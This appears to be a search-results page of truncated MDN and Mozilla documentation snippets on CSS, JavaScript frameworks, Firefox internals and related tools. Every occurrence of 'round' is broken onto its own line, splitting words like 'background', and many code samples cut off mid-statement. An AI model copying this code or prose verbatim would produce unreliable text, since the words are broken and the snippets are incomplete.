round-color furthermore, its syntax defines, that if a value for the backg
round-size is given, it must be specified after the value for the backg
round-position, separated by a slash.
Accessible multimedia - Learn web development
add the following, again at the bottom of your javascript: player.removeattribute('controls'); doing it this way
round rather than just not including the controls attribute in the first place has the advantage that if our javascript fails for any reason, the user still has some controls available.
...look a
round and ask advice to make sure you find a reputable company that you'll be able to work with effectively.
Handling different text directions - Learn web development
for example, you can float an image left to cause text to wrap
round the image.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backg
rounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Overflowing content - Learn web development
content outside the container cannot poke into the container, and nothing can poke out of that container into the sur
rounding layout.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backg
rounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Combinators - Learn web development
if you insert some other element such as a <h2> in between the <h1> and the <p>, you will find that the paragraph is no longer matched by the selector and so does not get the backg
round and foreg
round color applied when the element is adjacent.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backg
rounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
CSS selectors - Learn web development
for example, ::first-line always selects the first line of text inside an element (a <p> in the below case), acting as if a <span> was wrapped a
round the first formatted line and then selected.
...ator child combinator article > p child combinator adjacent sibling combinator h1 + p adjacent sibling general sibling combinator h1 ~ p general sibling in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backg
rounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Normal Flow - Learn web development
first of all, individual element boxes are laid out by taking the elements' content, then adding any padding, border and margin a
round them — it's that box model thing again, which we've looked at earlier.
...overflowing inline elements will <span>wrap onto a new line if possible (like this one containing text)</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { backg
round: rgba(255,84,104,0.3); border: 2px solid rgb(255,84,104); padding: 10px; margin: 10px; } span { backg
round: white; border: 1px solid black; } summary now that you understand normal flow, and how the browser lays things out by default, move on to understand how to change this default display to create the layout needed by your design.
Responsive design - Learn web development
by changing the values for flex-grow and flex-shrink you can indicate how you want the items to behave when they encounter more or less space a
round them.
...users could zoom in and pan a
round the website to view the bits they were interested in, but it looked bad.
What are browser developer tools? - Learn web development
this will give you a window like the following: to see what happens, try entering the following snippets of code into the console one by one (and then pressing enter): alert('hello!'); document.queryselector('html').style.backg
roundcolor = 'purple'; const mywordmark = document.createelement('img'); mywordmark.setattribute('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); now try entering the following incorrect versions of the code and see what you get.
... alert('hello!); document.cheeseselector('html').style.backg
roundcolor = 'purple'; const mywordmark = document.createelement('img'); mybanana.setattribute('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); you'll start to see the kind of errors that the browser returns.
HTML forms in legacy browsers - Learn web development
for example, [value] { backg
round-color: #ccc; } may have been used to target every <input> with a value attribute, but changing the backg
round-color or border radius on a <meter> will lead to likely unexpected results that differ across browsers.
...but you can still apply styles to all the sur
rounding items.
Example 2 - Learn web development
- */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ backg
round : #f0f0f0; backg
round : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); backg
round : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; ...
... height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; backg
round-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0; backg
round: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { backg
round: #000; color: #ffffff; } javascript ...
Example 3 - Learn web development
- */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ backg
round : #f0f0f0; backg
round : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); backg
round : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; ...
... height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; backg
round-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0; backg
round: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { backg
round: #000; color: #ffffff; } javascript...
Example 4 - Learn web development
- */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ backg
round : #f0f0f0; backg
round : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); backg
round : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; ...
... height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; backg
round-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0; backg
round: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { backg
round: #000; color: #ffffff; } javascript...
Example 5 - Learn web development
- */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ backg
round : #f0f0f0; backg
round : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); backg
round : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; ...
... height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; backg
round-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0; backg
round: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { backg
round: #000; color: #ffffff; } javascript...
Sending forms through JavaScript - Learn web development
when the user tries to send the data, the application takes control and transmits the data asynchronously in the backg
round, updating only the parts of the ui that require changes.
...unfortunately, some legacy browsers can't access binary data or require complicated worka
rounds.
HTML basics - Learn web development
in the mists of time, when html was young (a
round 1991/92), doctypes were meant to act as links to a set of rules that the html page had to follow to be considered good html, which could mean automatic error checking and other useful things.
...a much better alternative for our firefox logo would be "the firefox logo: a flaming fox sur
rounding the earth." try coming up with some better alt text for your image now.
How the Web works - Learn web development
this theory is not essential to writing web code in the short term, but before long you'll really start to benefit from understanding what's happening in the backg
round.
...in our example, this is like a car or a bike (or however else you might get a
round).
Getting started with the Web - Learn web development
what backg
round images and colors should be used to decorate your website?
... how the web works when you access your favorite website, a lot of complicated things happen in the backg
round that you may not know about.
From object to iframe — other embedding technologies - Learn web development
code" class="input" style="width: 95%;min-height: 100px;"> </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; backg
round: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); const output = document.queryselector('.output'); let code = textarea.value; let userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.valu...
... note: you can read frederik braun's post on the x-frame-options security header for more backg
round information on this topic.
HTML table advanced features and accessibility - Learn web development
ending record</title> <style> html { font-family: sans-serif; } table { border-collapse: collapse; border: 4px solid rgb(200,200,200); letter-spacing: 1px; font-size: 0.8rem; } td, th { border: 2px solid rgb(190,190,190); padding: 10px 20px; } th { backg
round-color: rgb(235,235,235); } td { text-align: center; } tr:nth-child(even) td { backg
round-color: rgb(250,250,250); } tr:nth-child(odd) td { backg
round-color: rgb(245,245,245); } caption { padding: 10px; } tbody { font-size: 90%; font-style: italic; ...
... note: there are a
round 253 million people living with visual impairment according to who data in 2017.
Making asynchronous programming easier with async and await - Learn web development
you are probably already thinking "this is really cool!", and you are right — fewer .then() blocks to wrap a
round code, and it mostly just looks like synchronous code, so it is really intuitive.
...each subsequent one is forced to wait until the last one finished — if you run the first example, you'll see the alert box reporting a total run time of a
round 9 seconds.
Introducing asynchronous JavaScript - Learn web development
async callbacks async callbacks are functions that are specified as arguments when calling a function which will start executing code in the backg
round.
... when the backg
round code finishes running, it calls the callback function to let you know the work is done, or to let you know that something of interest has happened.
Test your skills: Events - Learn web development
to pass this assessment you need to build an event handler that moves the circle a
round the provided canvas when the wasd keys are pressed on the keyboard.
...</div>), which when invoked by clicking any of the buttons will set the backg
round of the button-bar to the color contained in the button's data-color attribute.
Client-side storage - Learn web development
old school: cookies the concept of client-side storage has been a
round for a long time.
...this is useful when you just need to store some simple data, like the user's name, whether they are logged in, what color to use for the backg
round of the screen, etc.
Introduction to web APIs - Learn web development
they generally fall into two categories: browser apis are built into your web browser and are able to expose data from the browser and sur
rounding computer environment and do useful complex things with it.
...in the backg
round, the browser is actually using some complex lower-level code (e.g.
Video and Audio APIs - Learn web development
first of all, notice the .controls styling: .controls { visibility: hidden; opacity: 0.5; width: 400px; border-radius: 10px; position: absolute; bottom: 20px; left: 50%; margin-left: -200px; backg
round-color: black; box-shadow: 3px 3px 5px black; transition: 1s all; display: flex; } .player:hover .controls, player:focus .controls { opacity: 1; } we start off with the visibility of the custom controls set to hidden.
... last but not least, let's look at the css for the timer: .timer { line-height: 38px; font-size: 10px; font-family: monospace; text-shadow: 1px 1px 0px black; color: white; flex: 5; position: relative; } .timer div { position: absolute; backg
round-color: rgba(255,255,255,0.2); left: 0; top: 0; width: 0; height: 38px; z-index: 2; } .timer span { position: absolute; z-index: 3; left: 19px; } we set the outer .timer <div> to have flex: 5, so it takes up most of the width of the controls bar.
Multimedia: Images - Learn web development
the first thing to check is that your content images use <img> elements and your backg
round images are defined in css with backg
round-image — images referenced in <img> elements are assigned a higher loading priority than backg
round images.
... for any backg
round images, it's important you set a backg
round-color value so any content overlaid is still readable before the image has downloaded.
Perceived performance - Learn web development
first paint is reported by the browser and provides the time, in ms, of when the page starts changing; but this change can be a simple backg
round color update or something even less noticable.
...first contentful paint (fcp) reports the time when the browser first rendered anything of signifigance, be that text, foreg
round or backg
round image, or a canvas or svg; capturing the very beginning of the loading experience.
Multimedia: video - Learn web development
video autoplay to ensure that a looping backg
round video autoplays, you must add several attributes to the video tag: autoplay, muted, and playsinline.
... <video autoplay="" loop="" muted="true" playsinline="" src="backg
roundvideo.mp4"> while the loop and autoplay make sense for a looping and autoplaying video, the muted attribute is required for autoplay in mobile browsers.
Properly configuring server MIME types - Learn web development
backg
round by default, many web servers are configured to report a mime type of text/plain or application/octet-stream for unknown content types.
...examples of mime types are: text/html for normal web pages text/plain for plain text text/css for cascading style sheets text/javascript for scripts application/octet-stream meaning "download this file" application/x-java-applet for java applets application/pdf for pdf documents technical backg
round registered values for mime types are available in iana | mime media types.
Getting started with React - Learn web development
we'll discover a little bit of detail about its backg
round and use cases, set up a basic react toolchain on our local computer, and create and play with a simple starter app — learning a bit about how react works in the process.
... use cases unlike the other frameworks covered in this module, react does not enforce strict rules a
round code conventions or file organization.
TypeScript support in Svelte - Learn web development
note: if you are curious about how typescript transpiles our code to javascript you can have a look at the typescript playg
round.
...if you are running this in your regular terminal, you are advised to keep it running in the backg
round in a separate terminal window of its own so that it can keep reporting errors but won't interfere with other terminal usage.
Componentizing our Svelte app - Learn web development
some people prefer an intuitive approach and start looking at the markup and drawing boxes a
round every component and subcomponent that seems to have its own logic.
...the context api provides a mechanism for a components and their descendants to "talk" to each other without passing a
round data and functions as props, or dispatching lots of events.
Getting started with Svelte - Learn web development
less code means less kb to download, parse, execute, and keep hanging a
round in memory.
... svelte also provides an online repl, which is a playg
round for live-coding svelte apps on the web without having to install anything on your machine.
Creating our first Vue component - Learn web development
listing props as an object allows you to specify default values, mark props as required, perform basic object typing (specifically a
round javascript primitive types), and perform simple prop validation.
... to work a
round this, we can manage the done state using vue’s data property.
Getting started with Vue - Learn web development
in this article we'll look at a little bit of vue backg
round, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.
...additionally, vue takes a "middle g
round" approach to tooling like client-side routing and state management.
Strategies for carrying out testing - Learn web development
choose the file location and size for the virtual hard disk (choose a sensible name and location to keep it, and for the size specify a
round 50gb, or as much as you are comfortable with specifying).
...if you are working on a team, you can create one virtual disk image, then copy it and pass it a
round.
Deploying our app - Learn web development
now all the code is staged, we can commit; run the following command: git commit -m ’committing initial code’ note: although you're free to write whatever you wish in the commit message, there's some useful tips a
round the web on good commit messages.
...parcel src/index.html is running in the backg
round to watch for changes and to automatically build our source.
Introducing a complete toolchain - Learn web development
to start parcel off in the backg
round, go to your terminal and run the following command: npx parcel src/index.html you should see an output like this (once the dependencies have been installed): server running at http://localhost:1234 ✨ built in 129ms.
...since this module is all about learning the tools a
round web development, not web development code itself, we won’t be teaching you any actual coding — you’ll find that information in the rest of mdn!
Client-side tooling overview - Learn web development
in the backg
round, the framework’s javascript code works hard to interpret this custom syntax and render it as a final web app.
... summary that
rounds off our gentle introduction to the topic of client-side web tooling, from a high level.
Mozilla accessibility architecture
mozilla keeps a
round its own tree of accessibility objects, which parallels the dom tree, but is not a full representation.
...the member variables keeping track of the number of children, parent, first child and next sibling allow us to have instant traversal a
round accessible nodes that have already been visited.
Accessibility information for UI designers and developers
color enough contrast ensure there is enough contrast between foreg
round and backg
round colors.
... here's an example of someone tabbing through a footer, the focus moves a
round: note: don't remove the focus indicator, as without it, users that can't or don't use a mouse cannot see where they are.
What to do and what not to do in Bugzilla
the exceptions are bugs in other software which we have to work a
round and bugs that involve certain core gecko modules.
... blocker blocks development and/or testing work critical crashes, loss of data, severe memory leak major major loss of function normal regular issue, some loss of functionality under specific circumstances minor minor loss of function, or other problem where easy worka
round is present trivial cosmetic problem like misspelled words or misaligned text enhancement request for enhancement the blocker severity should be used very seldomly, because only a fraction of the hundreds of thousands bugs really block the development of mozilla and these are normally fixed very quickly.
Eclipse CDT Manual Setup
some of it like the section on building the index and usage tips are still relevant, and other parts still may provide useful backg
round information to understand it in more detail on how eclipse works.
... important backg
round to help you make sense of the instructions that follow (and so that you can modify them to meet your own needs if necessary), this section provides some backg
round on what ides need in order to provide advanced code assistance, and what eclipse cdt needs in particular.
Obsolete Build Caveats and Tips
other possible worka
rounds: use another sdk (the one shipped with visual studio 9).
... edit vcvars32.bat to correct the problem (see http://blogs.msdn.com/windowssdk/arc...vironment.aspx "worka
round: repair the vs2008 command line build environment by editing c:\program files\microsoft visual studio 9.0\vc\bin\vcvars32.bat manually").
Reviewer Checklist
follow local style for the sur
rounding code, even if that local style isn't formally documented.
... resource leaks in java, memory leaks are largely due to singletons holding on to caches and collections, or observers sticking a
round, or runnables sitting in a queue.
Linux compatibility matrix
distribution kernel glibc glib gtk+2 gtk+3 pixman stdc++ gcc clang python3 released eol notes red backg
rounds denote lack of compatibility with current versions of firefox.
... yellow backg
rounds denote compatibility with esr78 green backg
rounds denote compatibility with the current release (as of writing, 78) greener backg
rounds denote compatibility with the current mozilla-central (as of writing, 80).
Multiple Firefox profiles
however, for those more adventurous, you can try one of the other three channels to see what is coming in firefox and play a
round with emerging features.
... here is a complete example terminal command from steps 2-3: /applications/firefox.app/contents/macos/firefox -profile /users/suzie/library/application\ support/firefox/profiles/r99d1z7c.default if the profile manager window does not open, firefox may have been running in the backg
round, even though it was not visible.
Performance best practices for Firefox front-end engineers
you can do that using requestidlecallback() and the cooperative scheduling of backg
round tasks api, and doing it only when we have a free second where presumably the user isn’t doing something.
...for example, transitioning the backg
round-color of a dom node from red to blue will result in a repaint for every frame of the animation, and paint flashing will reveal that.
Firefox
project documentation get detailed information about the internals of firefox and its build system, so you can find your way a
round in the code.
... developer guide our developer guide provides details on how to get and compile the firefox source code, how to find your way a
round, and how to contribute to the project.
CSS -moz-bool-pref() @supports function
html <div id="pref-test"> this will have a green backg
round if the <code>test</code> preference is enabled.
... </div> css @supports -moz-bool-pref("test") { #pref-test { backg
round: green; } } @supports not -moz-bool-pref("test") { #pref-test { backg
round: red; } } result ...
JNI.jsm
afullyqualifiedname a sig of a typed array or the name of the class that would be used in a signature, but without the sur
rounding l and ;.
...aparamsarr.join('') : '') + ')' + aret; } function fullyqualifiednameofclass(aclass) { // aclass is a string with l and ; ar
round it return aclass.substr(1, aclass - 2); } examples read java strings this example shows how to read java strings as javascript strings.
source-editor.jsm
number findnext( boolean awrap }; parameters awrap if true, the search operation will wrap a
round to the beginning of the text.
... number findnext( boolean awrap }; parameters awrap if true, the search operation will wrap a
round to the end of the text.
Localization content best practices
the pair should be used to sur
round statements and references to user input.
... remove unused strings if you're removing features, don't leave a
round unused strings in the .properties file.
Localizing with Koala
this will execute "hg add" on this file in the backg
round.
... koala will execute "hg commit" in the backg
round and will let you know that the files were successfully committed.
Basics
mathml backg
round image html content <div class="backg
round"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>α</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>α</mi> <mi>π</mi> </mrow> <mn>2</mn> </mfrac> <mo>)</mo> </mrow> </mfrac> <mrow> <msub> <m...
...mfrac> <mrow> <mi>f</mi> <mo stretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="backg
round"] { backg
round-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
Mozilla MathML Status
mathbackg
round implemented.
...we are only interested in supporting attributes "inherited from the sur
rounding context", which are those effectively used in practice.
MathML Accessibility in Mozilla
x plus y enclosed by: a box x + y box enclosed x+y __________ begin
rounded box x plus y end
rounded box __________ not supported.
... x plus y enclosed by: a
rounded box x + y
rounded box enclosed x+y __________ begin circle x plus y end circle __________ not supported.
MathML Demo: <mfrac> - fractions
and this is an example where the bevelled attribute is set inside the radical y 2 - t 2 1 ( 1 + | y 2 - t 2 | 2 ) and this shows a combination with a backg
round image at a desired opacity mathml backg
round image html content <div class="backg
round"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>α</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>α</mi> <mi>π</...
...> <mi>f</mi> <mo stretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="backg
round"] { backg
round-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
MathML Demo: <mspace> - space
mathml demo: <mspace> - space the backg
round color of <mspace> elements has been set to yellow for easier viewing.
...ef="javascript:upwidth();" title="increase width">+</a>/ <a class="control" href="javascript:downwidth();" title="decrease width">-</a> depth <a class="control" href="javascript:updepth();" title="increase depth">+</a>/ <a class="control" href="javascript:downdepth();" title="decrease depth">-</a> <math display="block"> <mstyle displaystyle="true"> <msqrt> <mrow> <mn>3</mn> <mspace style="backg
round-color: yellow" id="thespace" height="0.1ex" depth="0.1ex" width="0.1em" /> <mi>x</mi> </mrow> </msqrt> </mstyle> </math> </p> javascript content var height=0; var width=0; var depth=0; function upheight() { height++; document.getelementbyid("thespace").setattribute("height",height+".1ex"); } function downheight() { height--; document.getelementbyid("thespace").setattribute("height",...
Using the viewport meta tag to control layout on mobile browsers
backg
round the browser's viewport is the area of the window in which web content can be seen.
... this is often not the same size as the rendered page, in which case the browser provides scrollbars for the user to scroll a
round and access all the content.
Gecko Profiler FAQ
for this purpose you should try to use a native profiler on your platform of choice (for example xperf/vtune on windows, instruments on osx, and perf/zoom on linux.) one worka
round is to break the hot function into several explicitly-non-inline helpers, recompile, and re-profile.
... the gecko profiler has been designed specifically for the use case of having it run always in the backg
round, and it’s pretty good at that!
Profiling with the Firefox Profiler
tip: long-running tasks in the parent process will block all input or drawing with the browser ui (aka "ui jank") whereas long-running tasks in the content process will block interactivity with the page but still allowing the user to pan and zoom a
round thanks to apz.
... the expected size of the output is a
round 100 of mb.
Preference reference
the data is stored as content preference.browser.pagethumbnails.capturing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadinbackg
roundbrowser.search.context.loadinbackg
round controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreg
round or keep focus on the current tab and open it in the backg
round.browser.urlbar.formatting.enabledthe preference browser.urlbar.formatting.enabled controls whether the domain name including the ...
...ols the position and direction from which popup notifications invoked by nsialertsservice are sliding in.ui.spellcheckerunderlineui.spellcheckerunderline holds the colour which is used to underline words not recognized by the spellchecker.ui.spellcheckerunderlinestyleui.spellcheckerunderlinestyle holds the style which is used to underline words not recognized by the spellchecker.ui.textselectbackg
roundui.textselectbackg
round saves the color in which the backg
round of a text selection in the user interface or in content will be styled.ui.textselectforeg
roundui.textselectforeg
round saves the color in which the text of a text selection in the user interface or the content will be styled.ui.tooltipdelayui.tooltipdelay stores the delay in milliseconds between the mouse stopping over an element and t...
Optimizing Applications For NSPR
the specific area sur
rounding pthread's continuation thread has been both observed and empirically proven faulty, and a correction identified.
...there is no current worka
round.
nss tech note8
backg
round information on libssl's cache functions and sids nss technical note: 8 27 february 2006 nelson b.
... bolyard here is some backg
round information on libssl's cache functions and sids.
Notes on TLS - SSL 3.0 Intolerant Servers
however, this is a temporary worka
round at best.
... detecting intolerant servers because newer versions of netscape and mozilla have built-in worka
round for the problem servers, it is now unlikely that you will experience this problem.
PKCS11 FAQ
therefore, nss can move keys a
round when necessary and possible.
... once nss starts using a token for a given operation (like s/mime or ssl), it works hard to keep using that same token (so keys don't get moved a
round).
Hacking Tips
to work-a
round this issue you can use the recording feature of gdb, to step one instruction, and settle back to where you came from with the following set of gdb commands: (gdb) record full (gdb) si (gdb) record goto 0 (gdb) record stop if you have a core file, you can use the gdb unwinder the same way, or do everything from the command line as follow: $ gdb -ex 'enable unwinder .* spidermonkey' -ex 'bt 0' ...
...then you can display the instructions a
round pc with x/20i $pc, and execute instruction by instruction with stepi.
SpiderMonkey Internals
the line-to-pc direction "
rounds" toward the next bytecode generated from a line greater than or equal to the input line, and may return the pc of a for-loop update part, if given the line number of the loop body's closing brace.
...not all macros are tested a
round related code yet.
SpiderMonkey 1.8.5
build 5574) to work a
round this issue, either upgrade your xcode or use an alternate version of gcc, such as the one that shipped with leopard.
...if you are building your project with a gnu-make based build system, the following worka
round can be integrated into your build system to generate the correct ldflags, with a strong likelihood that it will work with future versions when js-config is fixed: js_config ?= /path/to/js-config uname_system = $(shell uname -s) jsapi_ldflags = $(shell $(js_config) --libs) ifeq ($(uname_system),darwin) jsapi_ldflags := $(filter -l%,$(jsapi_ldflags)) $(filter -l%,$(jsapi_ldflags))\ $(filter -%_namespace,$(...
SpiderMonkey 1.8.7
build 5574) to work a
round this issue, either upgrade your xcode or use an alternate version of gcc, such as the one that shipped with leopard.
... if you are building your project with a gnu-make based build system, the following worka
round can be integrated into your build system to generate the correct ldflags, with a strong likelihood that it will work with future versions when js-config is fixed: js_config ?= /path/to/js-config uname_system = $(shell uname -s) jsapi_ldflags = $(shell $(js_config) --libs) ifeq ($(uname_system),darwin) jsapi_ldflags := $(filter -l%,$(jsapi_ldflags)) $(filter -l%,$(jsapi_ldflags))\ $(filter -%_namespace,$...
XPConnect wrappers
for example, if you've implemented some component with an interface nsifoo and you pass your javascript object into a c++ function taking an nsifoo, an xpcwrappedjs is created a
round your object.
...in order to preserve api compatibility, an xpcwrappednative is created a
round the xpcwrappedjs.
nsIAccessibleText
constant value description coord_type_screen 0 coord_type_window 1 methods addselection() void addselection( in long startoffset, in long endoffset ); parameters startoffset endoffset getattributerange() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) get the accessible and start/end offsets a
round the given offset.
...astring gettextatoffset( in long offset, in nsaccessibletextboundary boundarytype, out long startoffset, out long endoffset ); parameters offset boundarytype startoffset endoffset return value gettextattributes() get the accessible start/end offsets a
round the given offset, return the text attributes for this range of text.
nsICacheEntryDescriptor
use the stream transport service to asynchronously read this stream on a backg
round thread.
...use the stream transport service to asynchronously write to this stream on a backg
round thread.
nsIPushSubscription
quota long the number of remaining backg
round messages for this subscription, or -1 if exempt.
... quotaapplies() indicates whether this subscription is subject to the backg
round message quota.
nsIUpdate
showprompt boolean whether to show the update prompt which requires user confirmation when an update is found during a backg
round update check.
... this overrides the default setting to download the update in the backg
round.
nsIZipWriter
attempting to perform a synchronous operation on the interface while the backg
round queue is in progress will throw an ns_error_in_progress exception.
... inqueue boolean true if operations are being performed in the backg
round queue, or false if backg
round operations are not in progress.
Reference Manual
nsresult rv; nscomptr<nsifoo> foo( do_queryinterface(abarptr, &rv) ); // or foo = do_queryinterface(abarptr, &rv); nscomptr<t> = dont_addref( t* ), nscomptr<t> = getter_addrefs( t* ) sometimes, you happen to have a pointer lying a
round that's already addrefed, but you want to put it into an nscomptr.
...which means that by the time we get a
round to calling getnext, we are trying to call it through a null pointer.
